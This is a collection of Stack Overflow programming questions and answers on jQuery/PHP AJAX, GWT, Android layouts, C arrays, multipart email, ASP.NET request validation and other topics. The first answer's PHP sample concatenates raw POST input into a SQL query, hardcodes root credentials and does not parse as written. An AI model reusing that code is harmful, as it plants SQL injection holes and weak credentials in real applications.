19604854	0	 <p>Try this code.It gives some basic idea.Please feel free to ask any doubt in this code.</p> <p><strong>HTML CODE</strong></p> <pre><code> &lt;html&gt; &lt;head&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(document).ready(function(){ $("#btn").click(function(){ var id=$("#id").val(); $.ajax({ type:"post", url:"action.php", datatype:"html", cache:false, data:"id="+id, success:function (response){ // alert(response); var data=response; $("#id").val(" "); $('#result').html(data); } }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form&gt; &lt;input type="hidden" name="id" id="id"&gt; &lt;/form&gt; &lt;button id="btn"&gt;Click here/button&gt; &lt;div id="result"&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>action.php</strong></p> <pre><code>&lt;?php $id=$_POST['id']; $user_name = "root"; $password = "root"; $database = "mydb"; $server = "localhost"; $con = mysql_connect($server,$user_name,$password); mysql_select_db($database, $con) ; $sql="select * from mytable where id='$id'"; $result=mysql_query($sql); $var=mysql_fetch_row($result) { echo '$var['name']; } ?&gt; </code></pre> <p><strong>Working of code</strong></p> <p>On clicking the <code>button</code>,the hidden value in the form is sent to the <code>action.php</code> file with out page refreshment.And the response from the <code>action.php</code> is collected in the variable <code>data</code> and is displayed in the <code>div</code> having id as result.</p>
11556926	0	 <p>Okey, here is the answer:</p> <pre><code>Key&lt;Invoice&gt; invoiceKey = dao.getDatastore().getKey(invoice); List&lt;Key&lt;Invoice&gt;&gt; invoiceKeyList = new ArrayList&lt;Key&lt;Invoice&gt;&gt;(); invoiceKeyList.add(invoiceKey); query.criteria(User.INVOICE_TRANSACTIONS).hasNoneOf(invoiceKeyList); </code></pre>
2399368	0	JavaScript: How to determine the web "fold" programmatically? <p><strong>Question:</strong> How can I determine the "fold" programatically (how much vertical content the browser is displaying)?</p> <p>The "fold" defined as where you can no longer see / have to scroll.</p> <p>I've tried with JavaScript to simply determine the browser window size to determine the fold; unfortunately - this doesn't work well because some browsers have tabs, etc and even though you might have 2 browsers windows at the same size - each browser might be <em>displaying</em> a different vertical size of content.</p>
16712760	0	 <p>I tried ButtonCell solution too. But if you click in a cell who as no button then an error on client side occur:</p> <blockquote> <p>com.google.gwt.core.client.JavaScriptException: (TypeError) @com.google.gwt.core.client.impl.Impl::apply(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)([JavaScript object(445), JavaScript object(240), JavaScript object(637)]): parent is null</p> </blockquote> <p>So I added this to override the Event and avoid Event if I want:</p> <pre><code> @Override public void onBrowserEvent(com.google.gwt.cell.client.Cell.Context context, Element parent, YourObject object, NativeEvent event) { if (object.isCompleted()) super.onBrowserEvent( context, parent, object, event); } </code></pre> <p>I don't know if it's the better way to do it but it works.</p>
11145348	0	 <p>I think your math is off:</p> <p>According to Wikipedia, the display is Display <strong>4.3-inch 960 × 540 px qHD at 256 ppi</strong></p> <p><code>160/256 = 0.625</code></p> <p><code>0.625*540 = 337.5</code></p> <p>Try <code>values-sw335dp</code> and see if that works</p>
1273188	0	 <ol> <li><p>Yes it's better to use a dedicated server. <a href="http://www.stream-hub.com/" rel="nofollow noreferrer">StreamHub Comet Server</a> seems to be the most popular these days.</p></li> <li><p>For a tutorial on how to get started with comet read this: <a href="http://streamhub.blogspot.com/2009/07/getting-started-with-streamhub-and.html" rel="nofollow noreferrer">Getting Started with Comet and StreamHub</a>.</p></li> </ol> <p>If you get stuck there is a <a href="http://groups.google.co.uk/group/streamhub-comet-server-community" rel="nofollow noreferrer">Google Group</a> to seek help.</p>
669700	0	 <p>Don't know if this technique transfers from C/C++ to C#, but I've done this with macros:</p> <pre> #define CHECK_NULL(x) { (x) != NULL || \ fprintf(stderr, "The value of %s in %s, line %d is null.\n", \ #x, __FILENAME__, __LINE__); } </pre>
25019694	0	 <pre><code>private List&lt;string&gt; Lookup(List&lt;string&gt; des) { var query = (from r in repo.Context.MyTable where des.Contains(r.Description) select r.Key); return query.ToList(); } </code></pre> <p>This is one query solution, this query will be materialize on this line:</p> <pre><code>return query.ToList(); </code></pre> <p>Filtering will be made by sql.</p>
40996948	0	 <p>I'm not sure you should really use implicits like this, but maybe in some DSL this might be a valid use case.</p> <pre><code>class StringExtensions(str: String, strategy: StringExtensionsStrategy) { def doSth() = strategy.doSth(str) } trait StringExtensionsStrategy extends (String =&gt; StringExtensions) { final def apply(str: String) = new StringExtensions(str, this) def doSth(str: String): String } class Strategy1 extends StringExtensionsStrategy { override def doSth(str: String) = "a" } class Strategy2 extends StringExtensionsStrategy { override def doSth(str: String) = "b" } def someMethod(implicit strategy: StringExtensionsStrategy) = { val name = "Pawel" name.doSth() } val ret: String = someMethod(new Strategy1()) </code></pre> <hr> <p>As mentioned in the comments, an alternative encoding would be this:</p> <pre><code>class StringExtensions(str: String, strategy: StringExtensionsStrategy) { def doSth() = strategy.doSth(str) } trait StringExtensionsStrategy { implicit final def apply(str: String) = new StringExtensions(str, this) def doSth(str: String): String } class Strategy1 extends StringExtensionsStrategy { override def doSth(str: String) = "a" } class Strategy2 extends StringExtensionsStrategy { override def doSth(str: String) = "b" } def someMethod(strategy: StringExtensionsStrategy) = { import strategy._ val name = "Pawel" name.doSth() } val ret: String = someMethod(new Strategy1()) </code></pre>
36256630	0	Angular ng-options doesn show all elements <p>I am working in some app with AngularJS and I am using the <code>ng-options</code> directive, but I have one problem. When I select the <strong>"Provincia"</strong>, the <strong>"Cantón"</strong> select only shows the last element in the array. </p> <p>Anyone knows what is the problem?</p> <p>This is my HTML code:</p> <pre class="lang-html prettyprint-override"><code>&lt;div class="form-group"&gt; &lt;select class="form-control" ng-model="selected.provincia" ng-options="p.provincia for p in geografiaCR"&gt; &lt;option value="" disabled selected hidden&gt;Seleccione una provincia&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;select class="form-control" ng-model="selected.nombre" ng-options="n.nombre for n in selected.provincia.cantones"&gt; &lt;option value="" disabled selected hidden&gt;Seleccione un cantón&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; </code></pre> <p>And this is the Angular code:</p> <pre class="lang-js prettyprint-override"><code>$scope.selected = {}; $scope.geografiaCR = [ { provincia: 'San José', cantones: [{nombre: 'San José',nombre: 'Escazú',nombre: 'Desamparados',nombre: 'Puriscal',nombre: 'Tarrazú', nombre: 'Aserrí',nombre: 'Mora',nombre: 'Goicochea',nombre: 'Santa Ana', nombre: 'Alajuelita', nombre: 'Acosta',nombre: 'Tibás',nombre: 'Moravia',nombre: 'Montes de Oca',nombre: 'Turrubares', nombre: 'Dota',nombre: 'Curridabat',nombre: 'Perez Zeledón', nombre: 'León Cortes'}] }, { provincia: 'Limón', cantones: [{nombre: 'Limón',nombre: 'Pocosí',nombre: 'Siquirres',nombre: 'Talamanca',nombre: 'Matina', nombre: 'Guácimo'}] } ]; </code></pre>
26935126	0	 <p>You could get rid of all your <code>if/elseif</code> loops:</p> <pre><code>n = size(Y); colour = {'y','m','c','r','g','b','k','r','b','g'}; shape = {'c','c','c','c','c','c','c','s','s','s'}; for ii = 1:n(2) subplot scatter(X(1,ii), X(2,ii), 12, colour{Y(ii)}, shape{Y(ii)}, 'filled') hold on end </code></pre>
3016399	0	Qt - How to post a banner on the dialog? <p>I have a directroy where I have several pictures and gif animations. I want to post that pictures and animations on a QDialog in an infinite loop (by cyclically changing pictures in 2 minutes interval) and on that pictures and animations I want to set a link so that when you click the browser open the set link.</p> <p>How I could do this?</p> <p>Please consider that I know how to get all .jpg amd .gif file names (full path) in the directory. Consider there is a QStringList fileNameList; which contains that full paths.</p>
12873142	0	invalid application of 'sizeof' to incomplete type 'struct array[]' <p>I am trying to organize my project by splitting commands up into separate files for easier maintenance. The issue I am having is trying to iterate over the array of commands defined at compile time. I have created a dumbed down example that reproduces the error I am getting.</p> <pre><code>. ├── CMakeLists.txt ├── commands │ ├── CMakeLists.txt │ ├── command.c │ ├── command.h │ ├── help_command.c │ └── help_command.h └── main.c </code></pre> <h3>./CMakeLists.txt</h3> <pre><code>PROJECT(COMMAND_EXAMPLE) SET(SRCS main.c) ADD_SUBDIRECTORY(commands) ADD_EXECUTABLE(test ${SRCS}) </code></pre> <h3>commands/CMakeLists.txt</h3> <pre><code>SET(SRCS ${SRCS} command.c help_command.c) </code></pre> <h3>commands/command.h</h3> <pre><code>#ifndef COMMAND_H #define COMMAND_H struct command { char* name; int (*init)(int argc, char** argv); int (*exec)(void); }; extern struct command command_table[]; #endif </code></pre> <h3>commands/command.c</h3> <pre><code>#include "command.h" #include "help_command.h" struct command command_table[] = { {"help", help_init, help_exec}, }; </code></pre> <h3>commands/help_command.h</h3> <pre><code>#ifndef HELP_COMMAND_H #define HELP_COMMAND_H int help_command_init(int argc, char** argv); int help_command_exec(void); #endif </code></pre> <h3>commands/help_command.c</h3> <pre><code>#include "help_command.h" int help_command_init(int argc, char** argv) { return 0; } int help_command_exec(void) { return 0; } </code></pre> <h3>./main.c</h3> <pre><code>#include &lt;stdio.h&gt; #include "commands/command.h" int main(int argc, char** argv) { printf("num of commands: %d\n", sizeof(command_table) / sizeof(command_table[0])); return 0; } </code></pre> <p>If you run this</p> <pre><code>mkdir build &amp;&amp; cd build &amp;&amp; cmake .. &amp;&amp; make </code></pre> <p>the following error occurs</p> <pre><code>path/to/main.c:6:40: error: invalid application of 'sizeof' to incomplete type 'struct command[]' </code></pre> <p>So, how do I iterate over <code>command_table</code> if I can't even determine the number of commands in the array?</p> <p>I realize there are other posts out there with this same error, but I've spent a while now trying to figure out why this doesn't work and continue to fail:</p> <ul> <li><a href="http://stackoverflow.com/questions/8915230/invalid-application-of-sizeof-to-incomplete-type-with-a-struct">invalid-application-of-sizeof-to-incomplete-type-with-a-struct</a></li> <li><a href="http://stackoverflow.com/questions/5240435/invalid-application-of-sizeof-to-incomplete-type-int-when-accessing-intege">invalid-application-of-sizeof-to-incomplete-type-int-when-accessing-intege</a></li> </ul>
24958778	0	 <p>Just use:</p> <pre><code>- (BOOL)tableView:(UITableView *)tableView canEditRowAtIndexPath:(NSIndexPath *)indexPath { return indexPath.row != THE_ROW_YOU_WANT_TO_STOP; } </code></pre>
20660956	0	how to avoid getting ^M in file? <p>I don't know why it appears in my file when using vim. Sometimes not in the vim, but in the output of 'git diff', why?</p> <p>what command can help me check if file under some dir have '^M' problem, and fix all of them?</p>
26559162	0	Is the AllowHtml attribute secure <p>I have a MVC model field that the user enters some html source code into. Currently, I am getting the following error:</p> <blockquote> <p>A potentially dangerous Request.Form value was detected from the client</p> </blockquote> <p>I have had a look at the following resource: <a href="http://blogs.msdn.com/b/marcinon/archive/2010/11/09/mvc3-granular-request-validation-update.aspx" rel="nofollow">http://blogs.msdn.com/b/marcinon/archive/2010/11/09/mvc3-granular-request-validation-update.aspx</a></p> <p>The resource says to add the <code>AllowHtml</code> attribute. I have added this attribute, and the error is now not occuring.</p> <p>My question is this: Is there any other security features that I should add to my application, or is the <code>AllowHtml</code> attribute all that is required? Should I also use the following protection library: <a href="http://wpl.codeplex.com/" rel="nofollow">http://wpl.codeplex.com/</a></p> <p>Thanks in advance</p>
3757888	0	 <p>This returns the sequence you look for:</p> <pre><code>var result = MyList .Select(s =&gt; s.Split('-').OrderBy(s1 =&gt; s1)) .Select(a =&gt; string.Join("-", a.ToArray())) .Distinct(); foreach (var str in result) { Console.WriteLine(str); } </code></pre> <p>In short: split each string on the <code>-</code> character into two-element arrays. Sort each array, and join them back together. Then you can simply use <code>Distinct</code> to get the unique values.</p> <p>Update: when thinking a bit more, I realized that you can easily remove one of the <code>Select</code> calls:</p> <pre><code>var result = MyList .Select(s =&gt; string.Join("-", s.Split('-').OrderBy(s1 =&gt; s1).ToArray())) .Distinct(); </code></pre> <p>Disclaimer: this solution will always keep the value "A-B" over "B-A", regardless of the order in which the appear in the original sequence.</p>
32615703	0	 <p>A couple suggestions:</p> <p>1 ) Instead of this: </p> <p>Command="{Binding ViewModel.GetQuoteQuestionsCommand, Mode=OneWay}" /></p> <p>try: Command="{Binding ViewModel.GetQuoteQuestionsCommand}" /></p> <p>2) Don't "roll your own" RelayCommand. Use an MVVM library such as MvvmLight and use the RelayCommand provided there. </p>
26913734	0	Hitting Max number of files and blobs for Google App Engine <p>When trying to deploy my application:</p> <pre><code>appcfg.py update --oauth2 . </code></pre> <p>I'm getting:</p> <pre><code>PM Rolling back the update. Error 400: --- begin server output --- Max number of files and blobs is 10000. --- end server output --- </code></pre> <p>How do I solve this?</p>
15242260	0	Error in installing ATF in eclipse <p>In eclipse JUNO->install new software-><a href="http://download.eclipse.org/tools/atf/updates/0.3.0" rel="nofollow">http://download.eclipse.org/tools/atf/updates/0.3.0</a></p> <p>but it gives me this error</p> <p><strong>Cannot complete the install because one or more required items could not be found. Software being installed: AJAX Tools Framework Webtools Integration (Incubation) 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG (org.eclipse.atf.feature.feature.group 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG) Missing requirement: AJAX Tools Framework Mozilla IDE (Incubation) 0.3.0.v201006041600-17K-DZRDIXEqJdCQQLF (org.eclipse.atf.mozilla.ide.feature.feature.group 0.3.0.v201006041600-17K-DZRDIXEqJdCQQLF) requires 'org.mozilla.xpcom.feature.feature.group 1.8.1' but it could not be found Cannot satisfy dependency: From: AJAX Tools Framework Webtools Integration (Incubation) 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG (org.eclipse.atf.feature.feature.group 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG) To: org.eclipse.atf.mozilla.ide.feature.feature.group [0.3.0.v201006041600-17K-DZRDIXEqJdCQQLF]vCannot complete the install because one or more required items could not be found. Software being installed: AJAX Tools Framework Webtools Integration (Incubation) 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG (org.eclipse.atf.feature.feature.group 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG) Missing requirement: AJAX Tools Framework Mozilla IDE (Incubation) 0.3.0.v201006041600-17K-DZRDIXEqJdCQQLF (org.eclipse.atf.mozilla.ide.feature.feature.group 0.3.0.v201006041600-17K-DZRDIXEqJdCQQLF) requires 'org.mozilla.xpcom.feature.feature.group 1.8.1' but it could not be found Cannot satisfy dependency: From: AJAX Tools Framework Webtools Integration (Incubation) 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG (org.eclipse.atf.feature.feature.group 0.3.0.v201006041600-15-7zCN3HbXIOZQuUeDRRMG) To: org.eclipse.atf.mozilla.ide.feature.feature.group [0.3.0.v201006041600-17K-DZRDIXEqJdCQQLF]</strong></p> <p><br> thanks</p>
28638165	0	 <p>It sounds like an encoding issue. You're probably saving down as a different encoding to the original document, and different from what the target application is expecting. Hence the change in file size.</p> <p>It's possible to change the encoding used for the save as described by dbc above:</p> <blockquote> <p>Create an XmlWriterSettings, set XmlWriterSettings.Encoding as appropriate, then create an XmlWriter and pass it to XDocument.Save().</p> </blockquote>
28083040	0	Does MPandroid CHart Library supports Stackbar charts? <p>I reasrched a lot about compound graphs in MPanroidCHart library. By compound graph i mean having multiple types of graph series in single plot.</p> <p>I tried other libraries too like androidplot , achartengine library.. Although they provide compound graphs but they dont provide that much flexibility (like adding marker view/toast) .</p> <p><strong>My Expectation</strong></p> <pre><code>1. i want both stacked bar chart and line chart in single graph 2. I need 2 y-axis(one at right and other at left) </code></pre> <p>is this possible?</p>
20393637	0	SQL - Display all empty rows with Count() Group By <p>These are my tables:</p> <pre><code>Categories table ================ id (fk) category_name Items table =========== id (pk) item_name category_id (pk) </code></pre> <p>One <strong>category</strong> has many <strong>Items</strong></p> <p>One <strong>item</strong> have one <strong>category</strong></p> <p>Let's say I have these data:</p> <pre><code>Categories ========== id category_name ----------------------- 1 Foods 2 Beverages 3 Computer 4 Cats Items ===== id item_name category_id(fk) 1 Rice 1 2 Chicken 1 3 Mouse 3 4 Keyboard 3 </code></pre> <p>Query that I used to count items grouped by category name:</p> <pre><code>SELECT categories.id, categories.category_name, COUNT(items.item_name) AS items FROM items INNER JOIN categories ON items.category_id = categories.id GROUP BY category_name </code></pre> <p>I've tried the above query to display the counting, but it doesn't show all rows from Categories table. Well, of course some item might not be in a category, but how do I show the empty Category as well?</p>
38134865	0	Copying specific struct members to another structure <p>so I have a file from which I have to load a number of tracks, find tracks longer than 3:30 and find the average bpm of those tracks. </p> <p>Here's the code I have.</p> <p>Main file:</p> <pre><code>#include &lt;stdio.h&gt; #include "functions.h" int main(void) { Playlist *all, *long_tracks; float avg_bpm; all = load_tracks("tracks.txt"); long_tracks = get_tracks_longer_than(3,30,all); print_playlist(long_tracks); avg_bpm = get_avg_bpm(long_tracks); printf("Average BPM of the playlist is: %.2f\n", avg_bpm); return 0; } </code></pre> <p>Header: </p> <pre><code>#ifndef FUNCTIONS_H #define FUNCTIONS_H typedef struct track { char track[250]; float bpm; int mm, ss; } Track; typedef struct playlist { int count; Track **tracks; } Playlist; void print_playlist(Playlist *list); Playlist* load_tracks(char *filename); Playlist* get_tracks_longer_than(int mm, int ss, Playlist* all); float get_avg_bpm(Playlist *list); #endif </code></pre> <p>Functions:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include "functions.h" void print_playlist(Playlist *list) { int i; for (i = 0; i &lt; list-&gt;count; i++) { printf("%s (%d:%d) [%f]\n", list-&gt;tracks[i]-&gt;track, list-&gt;tracks[i]-&gt;mm, list-&gt;tracks[i]-&gt;ss, list-&gt;tracks[i]-&gt;bpm); } } Playlist* load_tracks(char *filename) { int n,i; Playlist *list = (Playlist*) malloc(sizeof(Playlist)); Track *tracks; FILE *f = fopen(filename, "r"); fscanf(f, "%d", &amp;n); printf("Tracks: %d\n", n); tracks = (Track*) malloc(n*sizeof(Track)); list-&gt;tracks = (Track**) malloc(n*sizeof(Track*)); for (i = 0; i &lt; n; i++) { fscanf(f, "%d:%d", &amp;tracks[i].mm, &amp;tracks[i].ss); fscanf(f, "%f", &amp;tracks[i].bpm); fgetc(f); fgets(tracks[i].track, 250, f); tracks[i].track[strlen(tracks[i].track)-1] = '\0'; list-&gt;tracks[i] = &amp;tracks[i]; } list-&gt;count = n; return list; } Playlist* get_tracks_longer_than(int mm, int ss, Playlist* all) { Playlist *longSongs = (Playlist*) malloc(sizeof(Playlist)); Track *tracks; tracks = (Track*) malloc(all-&gt;count*sizeof(Track)); longSongs-&gt;tracks = (Track**) malloc(all-&gt;count*sizeof(Track*)); int i, n = 0; for(i=0;i&lt;all-&gt;count;i++) { if(all-&gt;tracks[i]-&gt;mm&gt;mm) { n++; memcpy ( &amp;longSongs, &amp;all, sizeof(all) ); //I also tried longSongs[i]=all[i]; } else if(all-&gt;tracks[i]-&gt;mm==mm) { if(all-&gt;tracks[i]-&gt;ss&gt;ss) { n++; memcpy ( &amp;longSongs, &amp;all, sizeof(all) ); } } } longSongs-&gt;count=n; return longSongs; } float get_avg_bpm(Playlist *list) { float avg_bpm=0; int i; for(i=0;i&lt;list-&gt;count;i++) { avg_bpm+=list-&gt;tracks[i]-&gt;bpm; } return avg_bpm/=list-&gt;count; } </code></pre> <p>Problem is in my get_tracks_longer_than function, in which I don't really know how to copy the struct member I want from source structure to the destination structure, I only managed to copy all members from one structure to the other. My n counter counts number of tracks correctly, and my function which calculates bpm seems to work, but I don't know how to get the exact data I want. I tried using memcpy function, tried assigning it like this: <code>longSongs[i]=all[i]</code>, and I tried manually assigning values, e.g:</p> <pre><code>longSongs-&gt;tracks[i]-&gt;mm = all-&gt;tracks[i]-&gt;mm; longSongs-&gt;tracks[i]-&gt;ss = all-&gt;tracks[i]-&gt;ss; longSongs-&gt;tracks[i]-&gt;bpm = all-&gt;tracks[i]-&gt;bpm; </code></pre> <p>but nothing works, it always copies all members of the source structure, ignoring my if statements.</p>
10516027	0	 <p>Variable <code>FORMAT</code> expressions are non-standard and are <strong>not</strong> supported by gfortran (<a href="http://gcc.gnu.org/onlinedocs/gfortran/Variable-FORMAT-expressions.html" rel="nofollow">link</a> to the documentation).</p> <p>I know your pain - I've also struggled with this problem many times before until I migrated completely to another compilers collection...</p>
7258295	0	Blank Multipart email <p>I'm using PHP to send out a multipart/mixed message (plain text, html and attachments). However, whilst it works for most accounts, Yahoo, GMail and Sky seem to show blank emails. Where as everything else seems to display the email. ANY HELP WOULD BE GREATLY APPRECIATED!</p> <p>My headers are </p> <pre><code>$headers .= "Content-Type: multipart/mixed; boundary=\"mixed-" . $random_hash . "-mixed\"\n"; $headers .= "MIME-Version: 1.0\n"; </code></pre> <p>And the content is;</p> <pre><code>--mixed-7df05b31-mixed Content-Type: multipart/alternative; boundary="alt-7df05b31-alt" --alt-7df05b31-alt Content-Type: text/plain; charset=utf-8 Hello how are you? I am just checking the mailing function. Hopefully this will work! Cheers. --alt-7df05b31-alt Content-Type: text/html; charset=utf-8 &lt;div style="font-family:Arial, Helvetica, sans-serif; font-size: 10pt;"&gt; &lt;div&gt; Hello how are you? I am just &lt;b&gt;checking&lt;/b&gt; the mailing function.&lt;br&gt;&lt;br&gt; Hopefully this will work!&lt;br&gt;&lt;br&gt; Cheers.&lt;/div&gt;&lt;/div&gt; --alt-7df05b31-alt-- --mixed-7df05b31-mixed Content-Type: text/plain; name="abc.txt" Content-Disposition: attachment; filename="abc.txt" Content-Transfer-Encoding: base64 SEVMTE8gSlVTVCBURVNUSU5HIC4uLiA= --mixed-7df05b31-mixed-- </code></pre>
3920941	0	 <p>When data became too big to fit memory, the only way is use extended memory (HDD). Here you can partition and store on disk, load small part each onto memory and search.</p> <p>Or you should use a algobrithm that use less memory and more processor. <br>1.Search the file, search all num, and create a relative 2-d matrix or something like below. </p> <pre><code> 1 2 3 4 ... 1 0 1 0 0 2 0 1 0 0 3 0 0 0 0 ... </code></pre> <p><br>2.You can sort on this matrix. <br>3.One by one pair, search the file to get line num contain both numbers in pair.<br> Sorry because my bad english.</p>
11759993	0	 <p>A <code>List&lt;Enum&gt;</code> is not a <code>List&lt;Locations&gt;</code> nor a <code>List&lt;Int32&gt;</code>. Use a generic method to handle the list:</p> <pre><code> public static void PackEnumList&lt;T&gt;(IEnumerable&lt;T&gt; list) where T : IConvertible { foreach (var value in list) int numeric = value.ToInt32(); // etc. } </code></pre>
31657878	0	 <p>I think you basically have the right idea. You should listen for collaborator leave/join events and update what is being tracked appropriately. As you say, its OK for multiple people to make the changes for leave, as they will do the same thing.</p> <p>The <a href="https://github.com/googledrive/realtime-playground" rel="nofollow">Realtime Playground</a> has an example of this.</p>
9890517	0	How to dump sinatra rack test exceptions to console? <p>While I develop, I would like to see sinatra app exceptions when running tests, cosider example:</p> <pre><code>require 'sinatra/base' class ExceptionWeb &lt; Sinatra::Base enable :raise_errors enable :dump_errors configure do enable :dump_errors end get "/" do raise "hell" "ok" end def self.bad_method raise "bad method" end end require 'rack/test' describe 'The Web interface' do include Rack::Test::Methods def app ExceptionWeb end it "should error out" do get "/" #puts last_response.errors #ExceptionWeb.bad_method #last_response.should be_ok end end </code></pre> <p>Following rspec code shows no exceptions at all, if I uncomment last_response, then I see something is wrong, but I don't see what was wrong.</p> <p>But calling <code>mad_method</code> shows me exception.</p> <p>And adding <code>puts last_response.errors</code> to every test doesn't look proper.</p> <p>I tried sinatra config options <code>raise_errors</code> and <code>dump_errors</code> but that doesn't help me much.</p> <p>Any ideas?</p>
40587641	0	How can I start/stop a stop watch with only the spacebar? <p>I want to start/stop a stop watch only using the spacebar. I already made the KeyListeners, and that they only get activated when you press/release the spacebar.</p> <p>What I tried so far:</p> <p>I tried creating a stopwatch class, which SHOULD calculate the time difference between me pressing space for the first time, and second time. I tried it as follows:</p> <pre><code> public class Stopwatch { public Stopwatch(int i) { long time = System.currentTimeMillis(); if(i%2==1){ System.out.println("Timer Started at: " + time); }else{ System.out.println("Timer stopped at: " + System.currentTimeMillis()); System.out.println("Time diff: " + (time - System.currentTimeMillis())); } }} </code></pre> <p><code>int i</code> increases with every second spacebar press.</p> <p>I know the problem here is that everytime I start this class, <code>time</code> is getting reset to System.currentTimeMillis() because I only press Spacebar. Thus the difference is always 0.</p> <p>How can I change this so that I can somehow save the time I first pressed space?</p> <p>Here is the class with the Keylisteners. Ignore the Scrambler class, it has nothing to do with my Problem.</p> <pre><code> import java.awt.Font; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import javax.swing.*; public class StoppuhrFrame extends JFrame { JLabel time, scramble; public StoppuhrFrame() { time = new JLabel("00:00:00"); time.setBounds(162, 45, 325, 80); time.setFont(new Font("Arial", 100, 80)); add(time); scramble = new JLabel("Scramble: "); scramble.setBounds(165, 15, 370, 16); add(scramble); //Scrambler scrambler = new Scrambler(scramble); addKeyListener(new timer()); setTitle("Cube Timer"); setLayout(null); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setResizable(false); setSize(650, 270); setVisible(true); } int i = 1; public class timer implements KeyListener { @Override public void keyPressed(KeyEvent keyEvent) { if(keyEvent.getKeyCode()==32){ new Stopwatch(i); i++; } @Override public void keyReleased(KeyEvent arg0) { if (arg0.getKeyCode() == 32) { if(i%2==0){ //new Scrambler(scramble); } } } @Override public void keyTyped(KeyEvent arg0) { // TODO Auto-generated method stub } }} </code></pre> <p>Thanks in advance.</p>
35794073	0	Regex to match Tags NOT surrounded by Tags <p>I have the following example:</p> <pre><code>&lt;p&gt;skljklf askjas&lt;/p&gt; &lt;li&gt;dsjd sjg&lt;/li&gt; &lt;li&gt;skdkgds&lt;/li&gt; &lt;li&gt;skask las&lt;/li&gt; &lt;p&gt;skklgs aklgas&lt;/p&gt; &lt;ul&gt;&lt;li&gt;saks &lt;/li&gt;&lt;li&gt;isksa&lt;/li&gt;&lt;/ul&gt; &lt;li&gt;asjkafsklj asjlkafs&lt;/li&gt; </code></pre> <p>As you can see there are <code>li</code>-tags which are not surrounded by an <code>ul</code>. I am trying to find a regex which selects <strong>all</strong> occurences of <code>&lt;li&gt;...&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;</code> and surrounds them with <code>&lt;ul&gt;&lt;/ul&gt;</code>. So at the end I would have the following text:</p> <pre><code>&lt;p&gt;skljklf askjas&lt;/p&gt; &lt;ul&gt;&lt;li&gt;dsjd sjg&lt;/li&gt; &lt;li&gt;skdkgds&lt;/li&gt; &lt;li&gt;skask las&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;skklgs aklgas&lt;/p&gt; &lt;ul&gt;&lt;li&gt;saks &lt;/li&gt;&lt;li&gt;isksa&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;asjkafsklj asjlkafs&lt;/li&gt;&lt;/ul&gt; </code></pre> <p>Trying it in php with <code>preg_replace</code> and <code>mb_ereg_replace</code>, but no real clue yet how I could start.</p> <p>I don't want to do DOM manipulation with <code>DOMDocument</code>.</p>
12001562	0	iPhone App; identify file type from url <p>for an iphone app i am downloading files using url....</p> <p>from this type of url:: <a href="http://xxxxxxxxxxxxxxxxxxx.com/xxxxxxx//xxx/ipad.html?operation=getFile&amp;contentId=61768b16-6b44-4d0b-bdcf-d10107d1f328" rel="nofollow">http://xxxxxxxxxxxxxxxxxxx.com/xxxxxxx//xxx/ipad.html?operation=getFile&amp;contentId=61768b16-6b44-4d0b-bdcf-d10107d1f328</a></p> <p>I am downloading files from server but it may be of type .pdf or .docx or .doc </p> <p>is there any way to identify file type from url ?</p> <p>Please help and suggest</p> <p>Thanks</p>
39821404	0	 <p>Let's see what actually (i + 7) % 10 do:</p> <pre><code>0 = 7 1 = 8 2 = 9 3 = 0 4 = 1 5 = 2 6 = 3 7 = 4 8 = 5 9 = 6 </code></pre> <p>As you can see there's definitely quite obvious pattern. So in order to decode our original digit back we have to do</p> <pre><code>(i + 3) % 10 </code></pre>
19942426	0	 <p>Use <code>RegExpTxt.test(Fname.value)</code> instead of <code>RegExpTxt(Fname.value)</code></p> <p>Javascript should end up being:</p> <pre><code>function form_onchange(){ var Fname = document.getElementById('Fname'); var RegExpTxt = /^([a-zA-Z ]){2,30}$/; if (!RegExpTxt.test(Fname.value)) { alert('Please provide a valid name'); Fname.focus(); Fname.select(); return false; } } </code></pre>
19502896	0	 <p>I loaded this exact file onto my WAMP server locally and everything worked perfectly fine: You might want to change this at the bottom of the page: src="http://code.jquery.com/jquery.js" There is nothing wrong with your code and the HTML5 shiv and respond.js has nothing to do with your menu not working...</p> <p>You might however want to use Google Chrome and use the inspect element to make sure your reference points are correct.</p> <p>Hover doesn't work out of the box in BS3, you can use a custom javascript to get that working... I use it here: <a href="http://thisamericanjourney.com/" rel="nofollow">http://thisamericanjourney.com/</a> hover over the about menu item: //This allows the user to hover over the menu without clicking on it</p> <pre><code> $(function() { $('ul.nav li.dropdown').hover(function() { $('.dropdown-menu', this).fadeIn('fast'); }, function() { $('.dropdown-menu', this).fadeOut('fast'); }); }); </code></pre>
37233302	0	 <p>You are misunderstanding <code>in</code> and <code>out</code> parameters.</p> <p>This:</p> <pre><code>CallableStatement cStmt = dbConnection.prepareCall(sql); cStmt.registerOutParameter(1, Types.DECIMAL); cStmt.execute(); </code></pre> <p>Is declaring that your ratio parameter is an output from the procedure, but it's not.</p> <p>You should be doing something like:</p> <pre><code>CallableStatement cStmt = dbConnection.prepareCall(sql); cStmt.setObject(1, theRatio, Types.DECIMAL); cStmt.execute(); </code></pre>
